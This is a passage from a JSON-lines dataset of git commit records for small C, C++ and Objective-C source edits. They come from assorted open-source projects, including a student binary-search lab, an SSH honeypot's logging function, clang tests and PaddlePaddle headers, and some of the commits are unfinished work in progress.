hread\/rt-thread,geniusgogo\/rt-thread,armink\/rt-thread,zhaojuntao\/rt-thread,RT-Thread\/rt-thread,gbcwbz\/rt-thread,ArdaFu\/rt-thread,nongxiaoming\/rt-thread,yongli3\/rt-thread,RT-Thread\/rt-thread,FlyLu\/rt-thread,igou\/rt-thread,weiyuliang\/rt-thread,yongli3\/rt-thread,armink\/rt-thread,geniusgogo\/rt-thread,wolfgangz2013\/rt-thread,AubrCool\/rt-thread,weety\/rt-thread,weety\/rt-thread,igou\/rt-thread,gbcwbz\/rt-thread,weiyuliang\/rt-thread,zhaojuntao\/rt-thread,yongli3\/rt-thread,hezlog\/rt-thread,weiyuliang\/rt-thread,zhaojuntao\/rt-thread,armink\/rt-thread,igou\/rt-thread,RT-Thread\/rt-thread,nongxiaoming\/rt-thread,gbcwbz\/rt-thread,hezlog\/rt-thread,weety\/rt-thread,zhaojuntao\/rt-thread,ArdaFu\/rt-thread,nongxiaoming\/rt-thread,weety\/rt-thread,igou\/rt-thread,RT-Thread\/rt-thread,armink\/rt-thread,geniusgogo\/rt-thread,yongli3\/rt-thread,gbcwbz\/rt-thread,yongli3\/rt-thread,wolfgangz2013\/rt-thread,FlyLu\/rt-thread,ArdaFu\/rt-thread,nongxiaoming\/rt-thread,gbcwbz\/rt-thread,gbcwbz\/rt-thread,hezlog\/rt-thread"}
{"commit":"bf94028e883779ee7ee9da58a970796ab8b0be25","old_file":"program2.c","new_file":"program2.c","old_contents":"\/*\n * CIS 314 Fall 2015 Lab 1\n * Assigned project\n *\n * This program reads a sorted array from a file and finds a requested number\n *    using recursive or iterative binary search. The array is read from a file\n *    defined by FILE_NAME, which should be written as the number of elements\n *    followed by the elements themselses. each number can be deliniated with\n *    any whitepace character. Also, the maximum size of the array is defined \n *    as MAX_SIZE.\n * \n * NOTE: The array must be sorted!!\n * \n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n\n#define MAX_SIZE 150\n#define FILE_NAME \"array.dat\" \/\/must include quotes\n\n\/\/ Implement the rest of the program\n\nint main(void) {\n\n   FILE *in_file;\n   int array[MAX_SIZE];\n   int size;\n   char in_file_name[] = FILE_NAME;\n\n   printf(\"\\n\\n=== CIS314 Fall 2014 - Lab 1: Part 2: Program 2 ===\\n\\n\");\n\n\n   printf(\"\\n\\n\");\n\n   return 0;\n}\n\nint recursiveBinarySearch(int list_of_numbers[], int desired_number, int low_number, int high_number) {\n\n\n}\n\nint iterativeBinarySearch(int list_of_numbers[], int desired_number) {\n\n}\n","new_contents":"\/*\n * CIS 314 Fall 2015 Lab 1\n * Assigned project\n *\n * This program reads a sorted array from a file and finds a requested number\n *    using recursive or iterative binary search. The array is read from a file\n *    defined by FILE_NAME, which should be written as the number of elements\n *    followed by the elements themselses. each number can be deliniated with\n *    any whitepace character. Also, the maximum size of the array is defined \n *    as MAX_SIZE.\n * \n * NOTE: The array must be sorted!!\n * \n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n\n#define MAX_SIZE 150\n#define FILE_NAME \"array.dat\" \/\/must include quotes\n\n\/\/ Implement the rest of the program\n\nint main(void) {\n\n   FILE *in_file;\n   int array[MAX_SIZE];\n   int size;\n   char in_file_name[] = FILE_NAME;\n\n   printf(\"\\n\\n=== CIS314 Fall 2014 - Lab 1: Part 2: Program 2 ===\\n\\n\");\n\n\n   printf(\"\\n\\n\");\n\n   return 0;\n}\n\nint recursiveBinarySearch(int list_of_numbers[], int desired_number, int low_number, int high_number) {\n\n\n}\n\nint iterativeBinarySearch(int list_of_numbers[], int desired_number) {\n\tint low = 0;\n\tint high = (sizeof(list_of_numbers)\/sizeof(list_of_numbers[0])) - 1\n}\n","subject":"Add high and low in iterative","message":"Add high and low in iterative\n","lang":"C","license":"mit","repos":"jacobbieker\/CIS314_Lab_1"}
{"commit":"814fd55d1b26335f1765ed59fda4b6325893a9ad","old_file":"include\/win32\/strings.h","new_file":"include\/win32\/strings.h","old_contents":"\/* -*- Mode: C; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n*     Copyright 2014 Couchbase, Inc.\n*\n*   Licensed under the Apache License, Version 2.0 (the \"License\");\n*   you may not use this file except in compliance with the License.\n*   You may obtain a copy of the License at\n*\n*       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n*   Unless required by applicable law or agreed to in writing, software\n*   distributed under the License is distributed on an \"AS IS\" BASIS,\n*   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n*   See the License for the specific language governing permissions and\n*   limitations under the License.\n*\/\n#pragma once\n\n#include <stdarg.h>\n\n#include <platform\/visibility.h>\n\nPLATFORM_PUBLIC_API\nint asprintf(char **ret, const char *format, ...);\n\nPLATFORM_PUBLIC_API\nint vasprintf(char **ret, const char *format, va_list ap);\n\n\/*\n* We have a fair amount of use of this file in our code base.\n* Let's just make a dummy file to aviod a lot of #ifdefs\n*\/\n#ifndef strcasecmp\n#define strcasecmp(a, b) _stricmp(a, b)\n#endif\n\n#ifndef snprintf\n#define snprintf _snprintf\n#endif\n","new_contents":"\/* -*- Mode: C; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n*     Copyright 2014 Couchbase, Inc.\n*\n*   Licensed under the Apache License, Version 2.0 (the \"License\");\n*   you may not use this file except in compliance with the License.\n*   You may obtain a copy of the License at\n*\n*       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n*   Unless required by applicable law or agreed to in writing, software\n*   distributed under the License is distributed on an \"AS IS\" BASIS,\n*   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n*   See the License for the specific language governing permissions and\n*   limitations under the License.\n*\/\n#pragma once\n\n#include <stdarg.h>\n\n#include <platform\/visibility.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nPLATFORM_PUBLIC_API\nint asprintf(char **ret, const char *format, ...);\n\nPLATFORM_PUBLIC_API\nint vasprintf(char **ret, const char *format, va_list ap);\n\n#ifdef __cplusplus\n}\n#endif\n\n\/*\n* We have a fair amount of use of this file in our code base.\n* Let's just make a dummy file to aviod a lot of #ifdefs\n*\/\n#ifndef strcasecmp\n#define strcasecmp(a, b) _stricmp(a, b)\n#endif\n\n#ifndef snprintf\n#define snprintf _snprintf\n#endif\n","subject":"Set C linkage for win32 [v]asprintf","message":"Set C linkage for win32 [v]asprintf\n\nChange-Id: I7f82255467c05936baa702fa1d532156b0caba12\nReviewed-on: http:\/\/review.couchbase.org\/52114\nReviewed-by: Dave Rigby <a09264da4832c7ff1d3bf1608a19f4b870f93750@couchbase.com>\nTested-by: buildbot <80754af91bfb6d1073585b046fe0a474ce868509@couchbase.com>\n","lang":"C","license":"apache-2.0","repos":"vmx\/platform,vmx\/platform"}
{"commit":"9b2cdca42db9d8227fa3a5d66eb173d989c18adf","old_file":"3RVX\/Skin\/OSDSkin.h","new_file":"3RVX\/Skin\/OSDSkin.h","old_contents":"","new_contents":"#pragma once\n\n#pragma comment(lib, \"gdiplus.lib\")\n\n#include <Windows.h>\n#include <gdiplus.h>\n#include <vector>\n\n#include \"..\/MeterWnd\/Meter.h\"\n\nclass OSDSkin {\npublic:\n    OSDSkin(Gdiplus::Bitmap *background, Gdiplus::Bitmap *mask,\n        std::vector<Meter *> meters, std::vector<HICON> iconset) :\n    background(background),\n    mask(mask),\n    meters(meters),\n    iconset(iconset) {\n\n    }\n\n    const Gdiplus::Bitmap *background;\n    const Gdiplus::Bitmap *mask;\n    const std::vector<Meter *> meters;\n    const std::vector<HICON> iconset;\n};","subject":"Add new class to track OSD assets","message":"Add new class to track OSD assets\n","lang":"C","license":"bsd-2-clause","repos":"Soulflare3\/3RVX,Soulflare3\/3RVX,malensek\/3RVX,malensek\/3RVX,malensek\/3RVX,Soulflare3\/3RVX"}
{"commit":"58874bbedc4afe8d2fb9318e965513f1b8219441","old_file":"DiskSampling\/PoissonDiskSampling.h","new_file":"DiskSampling\/PoissonDiskSampling.h","old_contents":"#ifndef POISSON_DISK_SAMPLING_H\n#define POISSON_DISK_SAMPLING_H\n\n#include <vector>\n\nclass PoissonDiskSampling\n{\npublic:\n\tPoissonDiskSampling() = default;\n\n\t~PoissonDiskSampling() = default;\n\n\tPoissonDiskSampling(const PoissonDiskSampling& rhs) = default;\n\tPoissonDiskSampling(const PoissonDiskSampling&& rhs) = default;\n\n\tPoissonDiskSampling& operator=(const PoissonDiskSampling& rhs) = default;\n\tPoissonDiskSampling& operator=(const PoissonDiskSampling&& rhs) = default;\n\npublic:\n\tPoissonDiskSampling(int pointWidth, int pointHeight, double pointMinDist, double pointCount);\n\n\tstd::vector<std::pair<double, double>> Generate();\n};\n\n#endif","new_contents":"#ifndef POISSON_DISK_SAMPLING_H\n#define POISSON_DISK_SAMPLING_H\n\n#include <vector>\n\nclass PoissonDiskSampling\n{\npublic:\n\tPoissonDiskSampling() = default;\n\tPoissonDiskSampling(int pointWidth, int pointHeight, double pointMinDist, double pointCount);\n\n\t~PoissonDiskSampling() = default;\n\n\tPoissonDiskSampling(const PoissonDiskSampling& pds) = delete;\n\tPoissonDiskSampling(PoissonDiskSampling&& pds) = delete;\n\n\tPoissonDiskSampling& operator=(const PoissonDiskSampling& rhs) = delete;\n\tPoissonDiskSampling& operator=(PoissonDiskSampling&& rhs) = delete;\n\n\tstd::vector<std::pair<double, double>> Generate();\n\n\tstruct Point\n\t{\n\t\tPoint() : x(0.0), y(0.0) { }\n\t\tPoint(double _x, double _y) : x(_x), y(_y) { }\n\n\t\t~Point() = default;\n\n\t\tPoint(const Point& p) : x(p.x), y(p.y) { }\n\t\tPoint(Point&& p) : x(p.x), y(p.y) { }\n\n\t\tPoint& operator=(const Point& rhs)\n\t\t{\n\t\t\tif (this == &rhs)\n\t\t\t{\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tx = rhs.x;\n\t\t\ty = rhs.y;\n\n\t\t\treturn *this;\n\t\t}\n\t\tPoint& operator=(Point&& rhs)\n\t\t{\n\t\t\tif (this == &rhs)\n\t\t\t{\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tx = rhs.x;\n\t\t\ty = rhs.y;\n\n\t\t\treturn *this;\n\t\t}\n\n\t\tdouble x, y;\n\t};\n};\n\n#endif","subject":"Fix grammer error and implement Point structure","message":"Fix grammer error and implement Point structure\n","lang":"C","license":"mit","repos":"utilForever\/PolyMapGenerator"}
{"commit":"4c6d97a34e6d86721390f3ecb43be45e38e7f1f8","old_file":"include\/IpToCountryDB.h","new_file":"include\/IpToCountryDB.h","old_contents":"\/*\n\tOpenLieroX\n\n\treader for IpToCountry database\n\t\n\tcode under LGPL\n\tby Albert Zeyer and Dark Charlie\n*\/\n\n#ifndef __IPTOCOUNTRY_H__\n#define\t__IPTOCOUNTRY_H__\n\n#include <string>\n#include \"SmartPointer.h\"\n#include \"InternDataClass.h\"\n#include \"GeoIPDatabase.h\"\n\nstruct SDL_Surface;\n\ntypedef GeoRecord IpInfo;\n\nINTERNDATA_CLASS_BEGIN(IpToCountryDB)\nprivate:\n\tGeoIPDatabase *m_database;\npublic:\n\tIpToCountryDB(const std::string& dbfile);\n\tvoid LoadDBFile(const std::string& dbfile);\n\tIpInfo GetInfoAboutIP(const std::string& Address);\n\tSmartPointer<SDL_Surface> GetCountryFlag(const std::string& shortcut);\n\tint\tGetProgress() { return 100; }\n\tbool Loaded()  { return true; }\nINTERNDATA_CLASS_END\n\nextern char *IP_TO_COUNTRY_FILE;\nextern  IpToCountryDB\t*tIpToCountryDB;\n\n#endif\n","new_contents":"\/*\n\tOpenLieroX\n\n\treader for IpToCountry database\n\t\n\tcode under LGPL\n\tby Albert Zeyer and Dark Charlie\n*\/\n\n#ifndef __IPTOCOUNTRY_H__\n#define\t__IPTOCOUNTRY_H__\n\n#include <string>\n#include \"SmartPointer.h\"\n#include \"InternDataClass.h\"\n#include \"GeoIPDatabase.h\"\n\nstruct SDL_Surface;\n\ntypedef GeoRecord IpInfo;\n\nINTERNDATA_CLASS_BEGIN(IpToCountryDB)\nprivate:\n\tGeoIPDatabase *m_database;\npublic:\n\tIpToCountryDB(const std::string& dbfile);\n\tvoid LoadDBFile(const std::string& dbfile);\n\tIpInfo GetInfoAboutIP(const std::string& Address);\n\tSmartPointer<SDL_Surface> GetCountryFlag(const std::string& shortcut);\n\tint\tGetProgress() { return 100; }\n\tbool Loaded()  { return m_database != NULL && m_database->loaded(); }\nINTERNDATA_CLASS_END\n\nextern char *IP_TO_COUNTRY_FILE;\nextern  IpToCountryDB\t*tIpToCountryDB;\n\n#endif\n","subject":"Fix for checking if the database is loaded","message":"Fix for checking if the database is loaded\n","lang":"C","license":"lgpl-2.1","repos":"ProfessorKaos64\/openlierox,ProfessorKaos64\/openlierox,ProfessorKaos64\/openlierox,ProfessorKaos64\/openlierox,ProfessorKaos64\/openlierox,ProfessorKaos64\/openlierox,ProfessorKaos64\/openlierox"}
{"commit":"f2dc1a3e5a5d939fa07f4641dbd1d32a6fed71e5","old_file":"log.c","new_file":"log.c","old_contents":"#include <stdio.h>\n#include <stdarg.h>\n#include <time.h>\n#include <unistd.h>\n#include \"log.h\"\n#include \"globals.h\"\n\nvoid my_log(int priority, const char *format, ...)\n{\n\tva_list ap;\n\tva_start(ap, format);\n\n#ifndef MINIMALISTIC_BUILD\n\tif (globals.no_syslog) {\n#endif\n\t\ttime_t now;\n\t\tstruct tm* timeinfo;\n\t\tchar timestring[32];\n\n\t\ttime(&now);\n\t\ttimeinfo = localtime(&now);\n\t\tstrftime(timestring, sizeof(timestring), \"%Y-%m-%d %H:%M:%S\", timeinfo);\n\t\tfprintf(\n\t\t\tstderr,\n\t\t\t\"%s %s[%d]: \",\n\t\t\ttimestring,\n#ifndef MINIMALISTIC_BUILD\n\t\t\tglobals.daemon_name,\n#else\n\t\t\t\"ssh-honeypotd\",\n#endif\n\t\t\tgetpid()\n\t\t);\n\n\t\t#pragma GCC diagnostic push\n\t\t#pragma GCC diagnostic ignored \"-Wformat-nonliteral\"\n\t\tvfprintf(stderr, format, ap);\n\t\t#pragma GCC diagnostic pop\n\t\tfprintf(stderr, \"\\n\");\n#ifndef MINIMALISTIC_BUILD\n\t}\n\telse {\n\t\t#pragma GCC diagnostic push\n\t\t#pragma GCC diagnostic ignored \"-Wformat-nonliteral\"\n\t\tvsyslog(priority, format, ap);\n\t\t#pragma GCC diagnostic pop\n\t}\n#endif\n\n\tva_end(ap);\n}\n","new_contents":"#include <stdio.h>\n#include <stdarg.h>\n#include <time.h>\n#include <unistd.h>\n#include \"log.h\"\n#include \"globals.h\"\n\nvoid my_log(int priority, const char *format, ...)\n{\n\tva_list ap;\n\tva_start(ap, format);\n\n#ifndef MINIMALISTIC_BUILD\n\tif (globals.no_syslog) {\n#endif\n\t\ttime_t now;\n\t\tstruct tm timeinfo;\n\t\tchar timestring[32];\n\n\t\ttime(&now);\n\t\tlocaltime_r(&now, &timeinfo);\n\t\tstrftime(timestring, sizeof(timestring), \"%Y-%m-%d %H:%M:%S\", &timeinfo);\n\t\tfprintf(\n\t\t\tstderr,\n\t\t\t\"%s %s[%d]: \",\n\t\t\ttimestring,\n#ifndef MINIMALISTIC_BUILD\n\t\t\tglobals.daemon_name,\n#else\n\t\t\t\"ssh-honeypotd\",\n#endif\n\t\t\tgetpid()\n\t\t);\n\n\t\t#pragma GCC diagnostic push\n\t\t#pragma GCC diagnostic ignored \"-Wformat-nonliteral\"\n\t\tvfprintf(stderr, format, ap);\n\t\t#pragma GCC diagnostic pop\n\t\tfprintf(stderr, \"\\n\");\n#ifndef MINIMALISTIC_BUILD\n\t}\n\telse {\n\t\t#pragma GCC diagnostic push\n\t\t#pragma GCC diagnostic ignored \"-Wformat-nonliteral\"\n\t\tvsyslog(priority, format, ap);\n\t\t#pragma GCC diagnostic pop\n\t}\n#endif\n\n\tva_end(ap);\n}\n","subject":"Address issues found by LGTM","message":"Address issues found by LGTM\n","lang":"C","license":"mit","repos":"sjinks\/ssh-honeypotd,sjinks\/ssh-honeypotd"}
{"commit":"ee99eef691ae08f3bea6012e0ff81850be1a4906","old_file":"Quick\/Quick.h","new_file":"Quick\/Quick.h","old_contents":"#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for Quick.\nFOUNDATION_EXPORT double QuickVersionNumber;\n\n\/\/! Project version string for Quick.\nFOUNDATION_EXPORT const unsigned char QuickVersionString[];\n\n#import <Quick\/QuickSpec.h>","new_contents":"#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for Quick.\nFOUNDATION_EXPORT double QuickVersionNumber;\n\n\/\/! Project version string for Quick.\nFOUNDATION_EXPORT const unsigned char QuickVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <Quick\/PublicHeader.h>\n\n#import <Quick\/QuickSpec.h>\n#import <Quick\/QCKDSL.h>\n#import <Quick\/QuickConfiguration.h>\n","subject":"Revert \"Remove public headers from umbrella header\"","message":"Revert \"Remove public headers from umbrella header\"\n\nThis reverts commit 3c5ab51a235a400427b364a608e679d91390f96a.\n","lang":"C","license":"apache-2.0","repos":"ikesyo\/Quick,Quick\/Quick,jeffh\/Quick,Quick\/Quick,jasonchaffee\/Quick,jasonchaffee\/Quick,paulyoung\/Quick,marciok\/Quick,jasonchaffee\/Quick,phatblat\/Quick,ikesyo\/Quick,DanielAsher\/Quick,ashfurrow\/Quick,marciok\/Quick,DanielAsher\/Quick,paulyoung\/Quick,ikesyo\/Quick,ashfurrow\/Quick,Quick\/Quick,mokagio\/Quick,paulyoung\/Quick,phatblat\/Quick,jeffh\/Quick,dgdosen\/Quick,mokagio\/Quick,jeffh\/Quick,phatblat\/Quick,mokagio\/Quick,dgdosen\/Quick,Quick\/Quick,dgdosen\/Quick,phatblat\/Quick,marciok\/Quick"}
{"commit":"bdcc37fe2d21afdb01fcc3f0213ae909ebd4f3cb","old_file":"ObjcNullability\/ObjcNullability\/BlockExamples.h","new_file":"ObjcNullability\/ObjcNullability\/BlockExamples.h","old_contents":"\/\/\n\/\/  BlockExamples.h\n\/\/  ObjcNullability\n\/\/\n\/\/  Created by Bryan Luby on 5\/21\/15.\n\/\/  Copyright (c) 2015 Bryan Luby. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\ntypedef void(^TestBlock)(NSString * __nonnull stuff);\ntypedef void(^TestBlock2)(NSString * __nullable otherStuff);\n\nNS_ASSUME_NONNULL_BEGIN\ntypedef void(^TestBlock3)(NSString *aString);\nNS_ASSUME_NONNULL_END\n\n@interface BlockExamples : NSObject\n\n- (void)methodThatTakesABlock:(nullable TestBlock)block;\n- (void)anotherMethodThatTakesABlock:(nonnull TestBlock2)block;\n\n@end\n","new_contents":"\/\/\n\/\/  BlockExamples.h\n\/\/  ObjcNullability\n\/\/\n\/\/  Created by Bryan Luby on 5\/21\/15.\n\/\/  Copyright (c) 2015 Bryan Luby. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\ntypedef void(^TestBlock)(NSString * __nonnull stuff);\ntypedef void(^TestBlock2)(NSString * __nullable otherStuff);\n\nNS_ASSUME_NONNULL_BEGIN\ntypedef void(^TestBlock3)(NSString *aString);\nNS_ASSUME_NONNULL_END\n\ntypedef NSString *__nonnull(^TestBlock4)(NSString *__nonnull aString);\n\n@interface BlockExamples : NSObject\n\n- (void)methodThatTakesABlock:(nullable TestBlock)block;\n- (void)anotherMethodThatTakesABlock:(nonnull TestBlock2)block;\n\n@end\n","subject":"Add typedef block with return value","message":"Add typedef block with return value\n","lang":"C","license":"mit","repos":"bryanluby\/XcodeTestProjects,bryanluby\/XcodeTestProjects"}
{"commit":"036888bb37a4c18233abedd74599fe0484eb8583","old_file":"lib\/exts\/Storable_aux.c","new_file":"lib\/exts\/Storable_aux.c","old_contents":"","new_contents":"#include \"HsFFI.h\"\n\nvoid writeIntOffPtr(HsPtr arg1, HsInt arg2, HsInt arg3)\n{\n  ((typeof(arg3)*)arg1)[arg2] = arg3;\n}\n\nHsInt readIntOffPtr(HsPtr arg1, HsInt arg2)\n{\n  return ((typeof(readIntOffPtr(arg1,arg2))*)arg1)[arg2];\n}\n\nvoid writeCharOffPtr(HsPtr arg1, HsInt arg2, HsChar arg3)\n{\n  ((typeof(arg3)*)arg1)[arg2] = arg3;\n}\n\nHsChar readCharOffPtr(HsPtr arg1, HsInt arg2)\n{\n  return ((typeof(readCharOffPtr(arg1,arg2))*)arg1)[arg2];\n}\n\n","subject":"Support code for Storable.hs - defines teh read\/writeFooOffPtr functions.","message":"Support code for Storable.hs - defines teh read\/writeFooOffPtr functions.\n\nIn writing this code, some attempt was made to make it easier to cut\nand paste definitions so that it would be easier to generate the\nmissing definitions.  It'd probably be easier to use the more obvious\ntechnique of using cpp to do the job.\n","lang":"C","license":"bsd-3-clause","repos":"FranklinChen\/Hugs,FranklinChen\/Hugs,FranklinChen\/Hugs,FranklinChen\/Hugs,FranklinChen\/Hugs,FranklinChen\/Hugs,FranklinChen\/Hugs"}
{"commit":"a5df96b98e206885fcd5010bec59f080c5b630ab","old_file":"src\/RCoRoutineRunner.h","new_file":"src\/RCoRoutineRunner.h","old_contents":"#ifndef __INCLUDED_ECE554E80AF211E7AA6EA088B4D1658C\n#define __INCLUDED_ECE554E80AF211E7AA6EA088B4D1658C\n\n#include <pt\/pt.h>\n\nclass RCoRoutineRunner\n{\npublic:\n  RCoRoutineRunner();\n  virtual\n  ~RCoRoutineRunner();\n\n  virtual char\n  run();\n\npublic:\n  struct pt mPt;\n};\n\n#endif \/\/ __INCLUDED_ECE554E80AF211E7AA6EA088B4D1658C\n","new_contents":"#ifndef __INCLUDED_ECE554E80AF211E7AA6EA088B4D1658C\n#define __INCLUDED_ECE554E80AF211E7AA6EA088B4D1658C\n\n#include <pt\/pt.h>\n\nclass RCoRoutineRunner\n{\npublic:\n  RCoRoutineRunner();\n  virtual\n  ~RCoRoutineRunner();\n\n  virtual char\n  run() = 0;\n\npublic:\n  struct pt mPt;\n};\n\n#endif \/\/ __INCLUDED_ECE554E80AF211E7AA6EA088B4D1658C\n","subject":"Mark run() as pure virtual function","message":"Mark run() as pure virtual function\n","lang":"C","license":"mit","repos":"starofrainnight\/ArduinoRabirdTookit,starofrainnight\/ArduinoRabirdToolkit,starofrainnight\/ArduinoRabirdToolkit"}
{"commit":"acc9bf3716be80a19f514f228cb903c0910a1725","old_file":"test\/Index\/preamble.c","new_file":"test\/Index\/preamble.c","old_contents":"#include \"prefix.h\"\n#include \"preamble.h\"\nint wibble(int);\n\n\/\/ RUN: %clang -x c-header -o %t.pch %S\/Inputs\/prefix.h\n\/\/ RUN: CINDEXTEST_EDITING=1 c-index-test -test-load-source-reparse 5 local -I %S\/Inputs -include %t %s | FileCheck %s\n\/\/ CHECK: preamble.c:3:5: FunctionDecl=wibble:3:5 Extent=[3:5 - 3:16]\n\/\/ CHECK: preamble.c:3:15: ParmDecl=:3:15 (Definition) Extent=[3:12 - 3:16]\n","new_contents":"#include \"prefix.h\"\n#include \"preamble.h\"\nint wibble(int);\n\n\/\/ RUN: %clang -x c-header -o %t.pch %S\/Inputs\/prefix.h\n\/\/ RUN: env CINDEXTEST_EDITING=1 c-index-test -test-load-source-reparse 5 local -I %S\/Inputs -include %t %s | FileCheck %s\n\/\/ CHECK: preamble.c:3:5: FunctionDecl=wibble:3:5 Extent=[3:5 - 3:16]\n\/\/ CHECK: preamble.c:3:15: ParmDecl=:3:15 (Definition) Extent=[3:12 - 3:16]\n","subject":"Use env instead of assuming bash.","message":"tests: Use env instead of assuming bash.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@109864 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"8605544c0b0cbc5ad43d86a71402f3f4075b48e3","old_file":"paddle\/utils\/Compiler.h","new_file":"paddle\/utils\/Compiler.h","old_contents":"\/* Copyright (c) 2016 PaddlePaddle Authors. All Rights Reserved.\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License. *\/\n\n#pragma once\n\n#ifdef __GNUC__\n#define GCC_VERSION \\\n  (__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__)\n#else\n#define GCC_VERSION\n#endif\n\n#if GCC_VERSION >= 30400\n#define __must_check __attribute__((warn_unused_result))\n#else\n#define __must_check\n#endif\n","new_contents":"\/* Copyright (c) 2016 PaddlePaddle Authors. All Rights Reserved.\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License. *\/\n\n#pragma once\n\/**\n * This header defines some useful attribute by each compiler. It is the\n * abstract layer of compilers.\n *\/\n#ifdef __GNUC__\n#define GCC_VERSION \\\n  (__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__)\n#else\n#define GCC_VERSION\n#endif\n\n\/**\n * __must_check macro. It make the function's return value must be used,\n * otherwise it will raise a compile warning. And also Paddle treat all compile\n * warnings as errors.\n *\/\n#if GCC_VERSION >= 30400\n#define __must_check __attribute__((warn_unused_result))\n#else\n#define __must_check\n#endif\n","subject":"Add some comments to compiler.h","message":"Add some comments to compiler.h\n","lang":"C","license":"apache-2.0","repos":"livc\/Paddle,livc\/Paddle,cxysteven\/Paddle,wen-bo-yang\/Paddle,lispc\/Paddle,yu239\/Paddle,yu239\/Paddle,reyoung\/Paddle,lispc\/Paddle,luotao1\/Paddle,pengli09\/Paddle,hedaoyuan\/Paddle,lispc\/Paddle,yu239\/Paddle,pengli09\/Paddle,yu239\/Paddle,pkuyym\/Paddle,chengduoZH\/Paddle,reyoung\/Paddle,livc\/Paddle,cxysteven\/Paddle,Canpio\/Paddle,putcn\/Paddle,cxysteven\/Paddle,lcy-seso\/Paddle,pkuyym\/Paddle,QiJune\/Paddle,luotao1\/Paddle,putcn\/Paddle,chengduoZH\/Paddle,hedaoyuan\/Paddle,gangliao\/Paddle,emailweixu\/Paddle,gangliao\/Paddle,emailweixu\/Paddle,putcn\/Paddle,pengli09\/Paddle,lcy-seso\/Paddle,chengduoZH\/Paddle,PaddlePaddle\/Paddle,QiJune\/Paddle,reyoung\/Paddle,tensor-tang\/Paddle,reyoung\/Paddle,emailweixu\/Paddle,baidu\/Paddle,lispc\/Paddle,PaddlePaddle\/Paddle,wen-bo-yang\/Paddle,wen-bo-yang\/Paddle,Canpio\/Paddle,jacquesqiao\/Paddle,pengli09\/Paddle,livc\/Paddle,lispc\/Paddle,lcy-seso\/Paddle,putcn\/Paddle,cxysteven\/Paddle,luotao1\/Paddle,yu239\/Paddle,luotao1\/Paddle,gangliao\/Paddle,luotao1\/Paddle,luotao1\/Paddle,reyoung\/Paddle,lispc\/Paddle,PaddlePaddle\/Paddle,cxysteven\/Paddle,tensor-tang\/Paddle,pengli09\/Paddle,wen-bo-yang\/Paddle,emailweixu\/Paddle,cxysteven\/Paddle,lcy-seso\/Paddle,pkuyym\/Paddle,hedaoyuan\/Paddle,QiJune\/Paddle,cxysteven\/Paddle,tensor-tang\/Paddle,putcn\/Paddle,Canpio\/Paddle,lcy-seso\/Paddle,wen-bo-yang\/Paddle,tensor-tang\/Paddle,jacquesqiao\/Paddle,PaddlePaddle\/Paddle,hedaoyuan\/Paddle,emailweixu\/Paddle,livc\/Paddle,PaddlePaddle\/Paddle,yu239\/Paddle,baidu\/Paddle,QiJune\/Paddle,tensor-tang\/Paddle,pengli09\/Paddle,gangliao\/Paddle,gangliao\/Paddle,pkuyym\/Paddle,pkuyym\/Paddle,jacquesqiao\/Paddle,Canpio\/Paddle,lcy-seso\/Paddle,pkuyym\/Paddle,hedaoyuan\/Paddle,reyoung\/Paddle,lispc\/Paddle,emailweixu\/Paddle,gangliao\/Paddle,jacquesqiao\/Paddle,PaddlePaddle\/Paddle,pengli09\/Paddle,gangliao\/Paddle,Canpio\/Paddle,jacquesqiao\/Paddle,Canpio\/Paddle,yu239\/Paddle,QiJune\/Paddle,chengduoZH\/Paddle,PaddlePaddle\/Paddle,yu239\/Paddle,jacquesqiao\/Paddle,Canpio\/Paddle,baidu\/Paddle,wen-bo-yang\/Paddle,chengduoZH\/Paddle,putcn\/Paddle,livc\/Paddle,baidu\/Paddle,lispc\/Paddle,baidu\/Paddle,QiJune\/Paddle,wen-bo-yang\/Paddle,emailweixu\/Paddle,hedaoyuan\/Paddle,Canpio\/Paddle,pengli09\/Paddle,hedaoyuan\/Paddle,livc\/Paddle,hedaoyuan\/Paddle,luotao1\/Paddle"}
